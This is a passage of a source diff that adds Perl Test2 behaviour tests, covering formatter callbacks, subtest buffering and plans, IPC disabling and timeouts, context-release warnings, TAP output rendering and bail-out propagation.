+ is_deeply(
+ $f->f->[0],
+ [3, 3, 1, 0, 0],
+ 'finalize method received expected arguments'
+ );
+
+ ok(!@{$f->t}, 'terminate method was not called on formatter');
+}
+
+{
+ my $f = Formatter::Subclass->new;
+
+ intercept {
+ my $hub = test2_stack->top;
+ $hub->format($f);
+ $hub->send(Test2::Event::Bail->new(reason => 'everything is terrible'));
+ done_testing;
+ };
+
+ is(scalar @{$f->t}, 1, 'terminate method was called because of bail event');
+ ok(!@{$f->f}, 'finalize method was not called on formatter');
+}
+
+{
+ my $f = Formatter::Subclass->new;
+
+ intercept {
+ my $hub = test2_stack->top;
+ $hub->format($f);
+ $hub->send(Test2::Event::Plan->new(directive => 'skip_all', reason => 'Skipping all the tests'));
+ done_testing;
+ };
+
+ is(scalar @{$f->t}, 1, 'terminate method was called because of plan skip_all event');
+ ok(!@{$f->f}, 'finalize method was not called on formatter');
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_buffer_formatter.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_buffer_formatter.t
new file mode 100644
index 00000000000..fadebf49295
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_buffer_formatter.t
@@ -0,0 +1,96 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/run_subtest intercept test2_stack/;
+
+{
+ package Formatter::Hide;
+ sub write { }
+ sub hide_buffered { 1 }
+ sub terminate { }
+ sub finalize { }
+
+ package Formatter::Show;
+ sub write { }
+ sub hide_buffered { 0 }
+ sub terminate { }
+ sub finalize { }
+
+ package Formatter::NA;
+ sub write { }
+ sub terminate { }
+ sub finalize { }
+}
+
+my %HAS_FORMATTER;
+
+my $events = intercept {
+ my $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{unbuffered_none} = $hub->format ? 1 : 0;
+ };
+ run_subtest('unbuffered', $code);
+
+ $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{buffered_none} = $hub->format ? 1 : 0;
+ };
+ run_subtest('buffered', $code, 'BUFFERED');
+
+
+ #####################
+ test2_stack->top->format(bless {}, 'Formatter::Hide');
+ $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{unbuffered_hide} = $hub->format ? 1 : 0;
+ };
+ run_subtest('unbuffered', $code);
+
+ $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{buffered_hide} = $hub->format ? 1 : 0;
+ };
+ run_subtest('buffered', $code, 'BUFFERED');
+
+
+ #####################
+ test2_stack->top->format(bless {}, 'Formatter::Show');
+ $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{unbuffered_show} = $hub->format ? 1 : 0;
+ };
+ run_subtest('unbuffered', $code);
+
+ $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{buffered_show} = $hub->format ? 1 : 0;
+ };
+ run_subtest('buffered', $code, 'BUFFERED');
+
+
+ #####################
+ $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{unbuffered_na} = $hub->format ? 1 : 0;
+ };
+ run_subtest('unbuffered', $code);
+
+ test2_stack->top->format(bless {}, 'Formatter::NA');
+ $code = sub {
+ my $hub = test2_stack->top;
+ $HAS_FORMATTER{buffered_na} = $hub->format ? 1 : 0;
+ };
+ run_subtest('buffered', $code, 'BUFFERED');
+};
+
+ok(!$HAS_FORMATTER{unbuffered_none}, "Unbuffered with no parent formatter has no formatter");
+ok( $HAS_FORMATTER{unbuffered_show}, "Unbuffered where parent has 'show' formatter has formatter");
+ok( $HAS_FORMATTER{unbuffered_hide}, "Unbuffered where parent has 'hide' formatter has formatter");
+
+ok(!$HAS_FORMATTER{buffered_none}, "Buffered with no parent formatter has no formatter");
+ok( $HAS_FORMATTER{buffered_show}, "Buffered where parent has 'show' formatter has formatter");
+ok(!$HAS_FORMATTER{buffered_hide}, "Buffered where parent has 'hide' formatter has no formatter");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t
new file mode 100644
index 00000000000..ae4231b629e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t
@@ -0,0 +1,48 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/run_subtest intercept/;
+
+my $step = 0;
+my @callback_calls = ();
+Test2::API::test2_add_callback_pre_subtest(
+ sub {
+ is(
+ $step,
+ 0,
+ 'pre-subtest callbacks should be invoked before the subtest',
+ );
+ ++$step;
+ push @callback_calls, [@_];
+ },
+);
+
+run_subtest(
+ (my $subtest_name='some subtest'),
+ (my $subtest_code=sub {
+ is(
+ $step,
+ 1,
+ 'subtest should be run after the pre-subtest callbacks',
+ );
+ ++$step;
+ }),
+ undef,
+ (my @subtest_args = (1,2,3)),
+);
+
+is_deeply(
+ \@callback_calls,
+ [[$subtest_name,$subtest_code,@subtest_args]],
+ 'pre-subtest callbacks should be invoked with the expected arguments',
+);
+
+is(
+ $step,
+ 2,
+ 'the subtest should be run',
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t
new file mode 100644
index 00000000000..03b285fd153
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t
@@ -0,0 +1,17 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/run_subtest intercept/;
+
+my $events = intercept {
+ my $code = sub { ok(1) };
+ run_subtest('blah', $code, 'buffered');
+};
+
+ok(!$events->[0]->trace->nested, "main event is not inside a subtest");
+ok($events->[0]->subtest_id, "Got subtest id");
+is($events->[0]->subevents->[0]->trace->hid, $events->[0]->subtest_id, "nested events are in the subtest");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_plan.t
new file mode 100644
index 00000000000..f16f7c48030
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_plan.t
@@ -0,0 +1,19 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/run_subtest intercept/;
+
+my $events = intercept {
+ my $code = sub { plan 4; ok(1) };
+ run_subtest('bad_plan', $code, 'buffered');
+};
+
+is(
+ $events->[-1]->message,
+ "Bad subtest plan, expected 4 but ran 1",
+ "Helpful message if subtest has a bad plan",
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t
new file mode 100644
index 00000000000..4f3f45dfefe
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t
@@ -0,0 +1,33 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/run_subtest intercept/;
+
+my $events = intercept {
+ todo 'testing todo', sub {
+ run_subtest(
+ 'fails in todo',
+ sub {
+ ok(1, 'first passes');
+ ok(0, 'second fails');
+ }
+ );
+ };
+};
+
+ok($events->[1], 'Test2::Event::Subtest', 'subtest ran');
+ok($events->[1]->effective_pass, 'Test2::Event::Subtest', 'subtest effective_pass is true');
+ok($events->[1]->todo, 'testing todo', 'subtest todo is set to expected value');
+
+my $subevents = $events->[1]->subevents;
+
+is(scalar @$subevents, 3, 'got subevents in the subtest');
+
+ok($subevents->[0]->facets->{assert}->pass, 'first event passed');
+
+ok(!$subevents->[1]->facets->{assert}->pass, 'second event failed');
+ok(!$subevents->[1]->causes_fail, 'second event does not cause failure');
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Taint.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Taint.t
new file mode 100644
index 00000000000..5af92986832
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Taint.t
@@ -0,0 +1,23 @@
+#!/usr/bin/env perl -T
+# HARNESS-NO-FORMATTER
+
+use Test2::API qw/context/;
+
+sub ok($;$@) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+ return $bool ? 1 : 0;
+}
+
+sub done_testing {
+ my $ctx = context();
+ $ctx->hub->finalize($ctx->trace, 1);
+ $ctx->release;
+}
+
+ok(1);
+ok(1);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t
new file mode 100644
index 00000000000..de8bf83e379
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t
@@ -0,0 +1,11 @@
+use strict;
+use warnings;
+
+no Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::IPC::Driver::Files;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t
new file mode 100644
index 00000000000..e0605ba3088
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t
@@ -0,0 +1,11 @@
+use strict;
+use warnings;
+
+BEGIN { $ENV{T2_NO_IPC} = 1 };
+use Test2::Tools::Tiny;
+use Test2::IPC::Driver::Files;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t
new file mode 100644
index 00000000000..859b025eefd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t
@@ -0,0 +1,12 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/test2_ipc_disable/;
+BEGIN { test2_ipc_disable() }
+use Test2::IPC::Driver::Files;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t
new file mode 100644
index 00000000000..b9698f28cd3
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t
@@ -0,0 +1,27 @@
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_THREAD/;
+use Test2::API qw/context/;
+
+BEGIN {
+ sub plan {
+ my $ctx = context();
+ $ctx->plan(@_);
+ $ctx->release;
+ }
+
+ unless (CAN_THREAD()) {
+ plan(0, skip_all => 'System does not have threads');
+ exit 0;
+ }
+}
+
+use threads;
+no Test2::IPC;
+use Test::More;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/err_var.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/err_var.t
new file mode 100644
index 00000000000..1e1bfef39ed
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/err_var.t
@@ -0,0 +1,15 @@
+use strict;
+use warnings;
+
+use Test2::IPC;
+
+use Test2::Tools::Tiny;
+
+{
+ local $! = 100;
+
+ is(0 + $!, 100, 'set $!');
+ is(0 + $!, 100, 'preserved $!');
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/init_croak.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/init_croak.t
new file mode 100644
index 00000000000..bebf410b82a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/init_croak.t
@@ -0,0 +1,30 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+BEGIN {
+ package Foo::Bar;
+ use Test2::Util::HashBase qw/foo bar baz/;
+ use Carp qw/croak/;
+
+ sub init {
+ my $self = shift;
+ croak "'foo' is a required attribute"
+ unless $self->{+FOO};
+ }
+}
+
+skip_all("known to fail on $]") if $] le "5.006002";
+
+$@ = "";
+my ($file, $line) = (__FILE__, __LINE__ + 1);
+eval { my $one = Foo::Bar->new };
+my $err = $@;
+
+like(
+ $err,
+ qr/^'foo' is a required attribute at \Q$file\E line $line/,
+ "Croak does not report to HashBase from init"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/intercept.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/intercept.t
new file mode 100644
index 00000000000..0d709c8b0f4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/intercept.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/intercept intercept_deep context run_subtest/;
+
+sub streamed {
+ my $name = shift;
+ my $code = shift;
+
+ my $ctx = context();
+ my $pass = run_subtest("Subtest: $name", $code, {buffered => 0}, @_);
+ $ctx->release;
+ return $pass;
+}
+
+sub buffered {
+ my $name = shift;
+ my $code = shift;
+
+ my $ctx = context();
+ my $pass = run_subtest($name, $code, {buffered => 1}, @_);
+ $ctx->release;
+ return $pass;
+}
+
+my $subtest = sub { ok(1, "pass") };
+
+my $buffered_shallow = intercept { buffered 'buffered shallow' => $subtest };
+my $streamed_shallow = intercept { streamed 'streamed shallow' => $subtest };
+my $buffered_deep = intercept_deep { buffered 'buffered shallow' => $subtest };
+my $streamed_deep = intercept_deep { streamed 'streamed shallow' => $subtest };
+
+is(@$buffered_shallow, 1, "Just got the subtest event");
+is(@$streamed_shallow, 2, "Got note, and subtest events");
+is(@$buffered_deep, 3, "Got ok, plan, and subtest events");
+is(@$streamed_deep, 4, "Got note, ok, plan, and subtest events");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t
new file mode 100644
index 00000000000..83fb1b07268
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t
@@ -0,0 +1,83 @@
+use strict;
+use warnings;
+
+# The things done in this test can trigger a buggy return value on some
+# platforms. This prevents that. The harness should catch actual failures. If
+# no harness is active then we will NOT sanitize the exit value, false fails
+# are better than false passes.
+END { $? = 0 if $ENV{HARNESS_ACTIVE} }
+
+# Some platforms throw a sigpipe in this test, we can ignore it.
+BEGIN { $SIG{PIPE} = 'IGNORE' }
+
+BEGIN { local ($@, $?, $!); eval { require threads } }
+use Test2::Tools::Tiny;
+use Test2::Util qw/CAN_THREAD CAN_REALLY_FORK/;
+use Test2::IPC;
+use Test2::API qw/test2_ipc_set_timeout test2_ipc_get_timeout/;
+
+my $plan = 2;
+$plan += 2 if CAN_REALLY_FORK;
+$plan += 2 if CAN_THREAD && threads->can('is_joinable');
+plan $plan;
+
+is(test2_ipc_get_timeout(), 30, "got default timeout");
+test2_ipc_set_timeout(10);
+is(test2_ipc_get_timeout(), 10, "hanged the timeout");
+
+if (CAN_REALLY_FORK) {
+ note "Testing process waiting";
+ my ($ppiper, $ppipew);
+ pipe($ppiper, $ppipew) or die "Could not create pipe for fork";
+
+ my $proc = fork();
+ die "Could not fork!" unless defined $proc;
+
+ unless ($proc) {
+ local $SIG{ALRM} = sub { die "PROCESS TIMEOUT" };
+ alarm 15;
+ my $ignore = <$ppiper>;
+ exit 0;
+ }
+
+ my $exit;
+ my $warnings = warnings {
+ $exit = Test2::API::Instance::_ipc_wait(1);
+ };
+ is($exit, 255, "Exited 255");
+ like($warnings->[0], qr/Timeout waiting on child processes/, "Warned about timeout");
+ print $ppipew "end\n";
+
+ close($ppiper);
+ close($ppipew);
+}
+
+if (CAN_THREAD) {
+ note "Testing thread waiting";
+ my ($tpiper, $tpipew);
+ pipe($tpiper, $tpipew) or die "Could not create pipe for threads";
+
+ my $thread = threads->create(
+ sub {
+ local $SIG{ALRM} = sub { die "THREAD TIMEOUT" };
+ alarm 15;
+ my $ignore = <$tpiper>;
+ }
+ );
+
+ if ($thread->can('is_joinable')) {
+ my $exit;
+ my $warnings = warnings {
+ $exit = Test2::API::Instance::_ipc_wait(1);
+ };
+ is($exit, 255, "Exited 255");
+ like($warnings->[0], qr/Timeout waiting on child thread/, "Warned about timeout");
+ }
+ else {
+ note "threads.pm is too old for a thread joining timeout :-(";
+ }
+ print $tpipew "end\n";
+
+ close($tpiper);
+ close($tpipew);
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t
new file mode 100644
index 00000000000..0c79c8a8548
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t
@@ -0,0 +1,113 @@
+use strict;
+use warnings;
+BEGIN { $Test2::API::DO_DEPTH_CHECK = 1 }
+use Test2::Tools::Tiny;
+
+use Test2::API qw/context/;
+
+skip_all("known to fail on $]") if $] le "5.006002";
+
+sub outer {
+ my $code = shift;
+ my $ctx = context();
+
+ $ctx->note("outer");
+
+ my $out = eval { $code->() };
+
+ $ctx->release;
+
+ return $out;
+}
+
+sub dies {
+ my $ctx = context();
+ $ctx->note("dies");
+ die "Foo";
+}
+
+sub bad_store {
+ my $ctx = context();
+ $ctx->note("bad store");
+ return $ctx; # Emulate storing it somewhere
+}
+
+sub bad_simple {
+ my $ctx = context();
+ $ctx->note("bad simple");
+ return;
+}
+
+my @warnings;
+{
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ eval { dies() };
+}
+ok(!@warnings, "no warnings") || diag @warnings;
+
+@warnings = ();
+my $keep = bad_store();
+eval { my $x = 1 }; # Ensure an eval changing $@ does not meddle.
+{
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ ok(1, "random event");
+}
+ok(@warnings, "got warnings");
+like(
+ $warnings[0],
+ qr/context\(\) was called to retrieve an existing context/,
+ "got expected warning"
+);
+$keep = undef;
+
+{
+ @warnings = ();
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ bad_simple();
+}
+ok(@warnings, "got warnings");
+like(
+ $warnings[0],
+ qr/A context appears to have been destroyed without first calling release/,
+ "got expected warning"
+);
+
+@warnings = ();
+outer(\&dies);
+{
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ ok(1, "random event");
+}
+ok(!@warnings, "no warnings") || diag @warnings;
+
+
+
+@warnings = ();
+{
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ outer(\&bad_store);
+}
+ok(@warnings, "got warnings");
+like(
+ $warnings[0],
+ qr/A context appears to have been destroyed without first calling release/,
+ "got expected warning"
+);
+
+
+
+{
+ @warnings = ();
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ outer(\&bad_simple);
+}
+ok(@warnings, "got warnings") || diag @warnings;
+like(
+ $warnings[0],
+ qr/A context appears to have been destroyed without first calling release/,
+ "got expected warning"
+);
+
+
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/no_load_api.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/no_load_api.t
new file mode 100644
index 00000000000..2caf67d36fd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/no_load_api.t
@@ -0,0 +1,51 @@
+use strict;
+use warnings;
+use Data::Dumper;
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+###############################################################################
+# #
+# This test is to insure certain objects do not load Test2::API directly or #
+# indirectly when being required. It is ok for import() to load Test2::API if #
+# necessary, but simply requiring the modules should not. #
+# #
+###############################################################################
+
+require Test2::Formatter;
+require Test2::Formatter::TAP;
+
+require Test2::Event;
+require Test2::Event::Bail;
+require Test2::Event::Diag;
+require Test2::Event::Exception;
+require Test2::Event::Note;
+require Test2::Event::Ok;
+require Test2::Event::Plan;
+require Test2::Event::Skip;
+require Test2::Event::Subtest;
+require Test2::Event::Waiting;
+
+require Test2::Util;
+require Test2::Util::ExternalMeta;
+require Test2::Util::HashBase;
+require Test2::EventFacet::Trace;
+
+require Test2::Hub;
+require Test2::Hub::Interceptor;
+require Test2::Hub::Subtest;
+require Test2::Hub::Interceptor::Terminator;
+
+my @loaded = grep { $INC{$_} } qw{
+ Test2/API.pm
+ Test2/API/Instance.pm
+ Test2/API/Context.pm
+ Test2/API/Stack.pm
+};
+
+require Test2::Tools::Tiny;
+
+Test2::Tools::Tiny::ok(!@loaded, "Test2::API was not loaded")
+ || Test2::Tools::Tiny::diag("Loaded: " . Dumper(\@loaded));
+
+Test2::Tools::Tiny::done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t
new file mode 100644
index 00000000000..3284c9d29eb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t
@@ -0,0 +1,84 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/run_subtest intercept context/;
+
+# Test a subtest that should inherit the trace from the tool that calls it
+my ($file, $line) = (__FILE__, __LINE__ + 1);
+my $events = intercept { my_tool_inherit() };
+
+is(@$events, 1, "got 1 event");
+my $e = shift @$events;
+ok($e->isa('Test2::Event::Subtest'), "got a subtest event");
+is($e->trace->file, $file, "subtest is at correct file");
+is($e->trace->line, $line, "subtest is at correct line");
+my $plan = pop @{$e->subevents};
+ok($plan->isa('Test2::Event::Plan'), "Removed plan");
+for my $se (@{$e->subevents}) {
+ is($se->trace->file, $file, "subtest event is at correct file");
+ is($se->trace->line, $line, "subtest event is at correct line");
+ ok($se->facets->{assert}->pass, "subtest event passed");
+}
+
+
+
+
+# Test a subtest that should NOT inherit the trace from the tool that calls it
+($file, $line) = (__FILE__, __LINE__ + 1);
+$events = intercept { my_tool_no_inherit() };
+
+is(@$events, 1, "got 1 event");
+$e = shift @$events;
+ok($e->isa('Test2::Event::Subtest'), "got a subtest event");
+is($e->trace->file, $file, "subtest is at correct file");
+is($e->trace->line, $line, "subtest is at correct line");
+$plan = pop @{$e->subevents};
+ok($plan->isa('Test2::Event::Plan'), "Removed plan");
+for my $se (@{$e->subevents}) {
+ ok($se->trace->file ne $file, "subtest event is not in our file");
+ ok($se->trace->line ne $line, "subtest event is not on our line");
+ ok($se->facets->{assert}->{pass}, "subtest event passed");
+}
+
+done_testing;
+
+# Make these tools appear to be in a different file/line
+#line 100 'fake.pm'
+
+sub my_tool_inherit {
+ my $ctx = context();
+
+ run_subtest(
+ 'foo',
+ sub {
+ ok(1, 'a');
+ ok(2, 'b');
+ is_deeply(\@_, [qw/arg1 arg2/], "got args");
+ },
+ {buffered => 1, inherit_trace => 1},
+ 'arg1', 'arg2'
+ );
+
+ $ctx->release;
+}
+
+sub my_tool_no_inherit {
+ my $ctx = context();
+
+ run_subtest(
+ 'foo',
+ sub {
+ ok(1, 'a');
+ ok(2, 'b');
+ is_deeply(\@_, [qw/arg1 arg2/], "got args");
+ },
+ {buffered => 1, inherit_trace => 0},
+ 'arg1', 'arg2'
+ );
+
+ $ctx->release;
+}
+
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/special_names.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/special_names.t
new file mode 100644
index 00000000000..98122051ad6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/special_names.t
@@ -0,0 +1,88 @@
+use strict;
+use warnings;
+# HARNESS-NO-FORMATTER
+
+use Test2::Tools::Tiny;
+
+#########################
+#
+# This test us here to insure that Ok renders the way we want
+#
+#########################
+
+use Test2::API qw/test2_stack/;
+
+# Ensure the top hub is generated
+test2_stack->top;
+
+my $temp_hub = test2_stack->new_hub();
+require Test2::Formatter::TAP;
+$temp_hub->format(Test2::Formatter::TAP->new);
+
+my $ok = capture {
+ ok(1);
+ ok(1, "");
+ ok(1, " ");
+ ok(1, "A");
+ ok(1, "\n");
+ ok(1, "\nB");
+ ok(1, "C\n");
+ ok(1, "\nD\n");
+ ok(1, "E\n\n");
+};
+
+my $not_ok = capture {
+ ok(0);
+ ok(0, "");
+ ok(0, " ");
+ ok(0, "A");
+ ok(0, "\n");
+ ok(0, "\nB");
+ ok(0, "C\n");
+ ok(0, "\nD\n");
+ ok(0, "E\n\n");
+};
+
+test2_stack->pop($temp_hub);
+
+is($ok->{STDERR}, "", "STDERR for ok is empty");
+is($ok->{STDOUT}, <<EOT, "STDOUT looks right for ok");
+ok 1
+ok 2 -_
+ok 3 - _
+ok 4 - A
+ok 5 -_
+# _
+ok 6 -_
+# B
+ok 7 - C
+# _
+ok 8 -_
+# D
+# _
+ok 9 - E
+# _
+# _
+EOT
+
+is($not_ok->{STDOUT}, <<EOT, "STDOUT looks right for not ok");
+not ok 10
+not ok 11 -_
+not ok 12 - _
+not ok 13 - A
+not ok 14 -_
+# _
+not ok 15 -_
+# B
+not ok 16 - C
+# _
+not ok 17 -_
+# D
+# _
+not ok 18 - E
+# _
+# _
+EOT
+
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t
new file mode 100644
index 00000000000..71a3aaa6c0b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t
@@ -0,0 +1,39 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+use Test2::API qw/context run_subtest intercept/;
+
+sub subtest {
+ my ($name, $code) = @_;
+ my $ctx = context();
+ my $pass = run_subtest($name, $code, {buffered => 1}, @_);
+ $ctx->release;
+ return $pass;
+}
+
+sub bail {
+ my $ctx = context();
+ $ctx->bail(@_);
+ $ctx->release;
+}
+
+my $events = intercept {
+ subtest outer => sub {
+ subtest inner => sub {
+ bail("bye!");
+ };
+ };
+};
+
+ok($events->[0]->isa('Test2::Event::Subtest'), "Got a subtest event when bail-out issued in a buffered subtest");
+ok($events->[-1]->isa('Test2::Event::Bail'), "Bail-Out propogated");
+ok(!$events->[-1]->facet_data->{trace}->{buffered}, "Final Bail-Out is not buffered");
+
+ok($events->[0]->subevents->[-2]->isa('Test2::Event::Bail'), "Got bail out inside outer subtest");
+ok($events->[0]->subevents->[-2]->facet_data->{trace}->{buffered}, "Bail-Out is buffered");
+
+ok($events->[0]->subevents->[0]->subevents->[-2]->isa('Test2::Event::Bail'), "Got bail out inside inner subtest");
+ok($events->[0]->subevents->[0]->subevents->[-2]->facet_data->{trace}->{buffered}, "Bail-Out is buffered");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/trace_signature.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/trace_signature.t
new file mode 100644
index 00000000000..bb3dbf9eade
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/trace_signature.t
@@ -0,0 +1,44 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+use Test2::Util qw/get_tid/;
+
+my $line;
+my $events = intercept {
+ $line = __LINE__ + 1;
+ ok(1, "pass");
+ sub {
+ my $ctx = context;
+ $ctx->pass;
+ $ctx->pass;
+ $ctx->release;
+ }->();
+};
+
+my $sigpass = $events->[0]->trace->signature;
+my $sigfail = $events->[1]->trace->signature;
+
+ok($sigpass ne $sigfail, "Each tool got a new signature");
+
+is($events->[$_]->trace->signature, $sigfail, "Diags share failed ok's signature") for 2 .. $#$events;
+
+like($sigpass, qr/^C\d+:$$:\Q${ \get_tid() }:${ \__FILE__ }:$line\E$/, "signature is sane");
+
+my $trace = Test2::EventFacet::Trace->new(frame => ['main', 'foo.t', 42, 'xxx']);
+is($trace->signature, undef, "No signature without a cid");
+
+is($events->[0]->related($events->[1]), 0, "event 0 is not related to event 1");
+is($events->[1]->related($events->[2]), 1, "event 1 is related to event 2");
+
+my $e = Test2::Event::Ok->new(pass => 1);
+is($e->related($events->[0]), undef, "Cannot check relation, invalid trace");
+
+$e = Test2::Event::Ok->new(pass => 1, trace => Test2::EventFacet::Trace->new(frame => ['', '', '', '']));
+is($e->related($events->[0]), undef, "Cannot check relation, incomplete trace");
+
+$e = Test2::Event::Ok->new(pass => 1, trace => Test2::EventFacet::Trace->new(frame => []));
+is($e->related($events->[0]), undef, "Cannot check relation, incomplete trace");
+
+done_testing;
